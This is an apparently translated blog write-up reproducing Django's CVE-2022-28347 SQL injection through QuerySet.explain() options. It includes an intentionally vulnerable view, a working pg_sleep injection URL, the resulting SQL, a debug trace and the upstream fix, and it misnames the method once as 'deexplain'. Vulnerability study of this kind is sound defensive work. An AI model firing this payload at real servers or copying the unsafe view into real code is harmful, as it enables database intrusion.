Django SQL injection vulnerability recurrence (CVE-2022-28347)

Vulnerability Profile

A SQL injection issue was found in QuerySet.deexplain() in Django 2.2 versions prior to 2.2.28, 3.2 versions prior to 3.2.13, and 4.0 versions prior to 4.0.4. This is achieved by passing a crafted dictionary (with dictionary extensions) as the **options argument, with the injection payload placed in the option names.

Affected version

2.2 =< Django < 2.2.28

3.2 =< Django < 3.2.13

4.0 =< Django < 4.0.4

Environment build

Create vulnerable Django version 3.2.12 project

Create startapp Demo and modify the files in turn

Install postgresql database

settings.py set the connection database to postgresql database

DATABASES = {
    
    
    'default': {
    
    
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'test',
        'USER': 'postgres',
        'PASSWORD': '123456',
        'HOST': '127.0.0.1',
        'PORT': '5432',
    }
}

urls.py set the corresponding route

from django.contrib import admin
from django.urls import path

from Demo import views

urlpatterns = [
    path('admin/', admin.site.urls),
    path('index/', views.index),
    path('demo/', views.users),
    path('initialize/', views.loadexampledata),
]

models.py

from django.db import models

# Create your models here.
class User(models.Model):
    name = models.CharField(max_length=200)

    def __str__(self):
        return self.name

views.py

import json


from django.http import HttpResponse
from django.shortcuts import render

# Create your views here.
from .models import User



def index(request):
    return HttpResponse('hello world')

def users(request):
    query = request.GET.get('q')
    query = json.loads(query)
    qs = User.objects.get_queryset().explain(**query)
    return HttpResponse(qs)


def loadexampledata(request):
    u = User(name="Admin")
    u.save()
    u = User(name="Staff1")
    u.save()
    u = User(name="Staff12")
    u.save()
    return HttpResponse("ok")

Vulnerability recurrence

http://127.0.0.1:8000/demo/?q={
    
    "ANALYZE)+select+pg_sleep(5);--+":"aaa"}

image​It was found that the successful construction made the server sleep

To help you study cybersecurity, you can receive a full set of information for free:
① Mind map of cybersecurity learning and growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ Collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)

Vulnerability analysis

Before code analysis, let's understand a knowledge point EXPLAIN

EXPLAIN

EXPLAIN - display the execution plan of a statement

image

EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement

option:
    ANALYZE [ boolean ]   执行命令并显示实际运行时间
    VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要
    COSTS [ boolean ]
    BUFFERS [ boolean ]
    TIMING [ boolean ]
    FORMAT {
    
     TEXT | XML | JSON | YAML }

statement:
    查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句

EXPLAIN ANALYZE will not only display the query plan, but will actually run the statement. EXPLAIN ANALYZE discards any output from the SELECT statement, but other operations within that statement are performed (such as INSERT, UPDATE, or DELETE).

debug analysis

imagedjango.db.models.query.QuerySet.explain

imagedjango.db.models.sql.query.Query.explain

imagedjango.db.models.sql.compiler.SQLCompiler.explain_query

imagedjango.db.models.sql.compiler.SQLCompiler.execute_sql

imagedjango.db.models.sql.compiler.SQLCompiler.as_sql

imageHere, the corresponding explain_query_prefix method will be called according to the selected database

django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix

imagepostgresql​ rewritten the explain_query_prefix method to splice the key name into the SQL statement

imageThe last SQL statement executed was

'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);--  true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'

Bug fixes

https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901

imageDo a filter and throw an exception if a dangerous character is found

imageOnly strings in the whitelist will be spliced ​​into the statement

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/130750423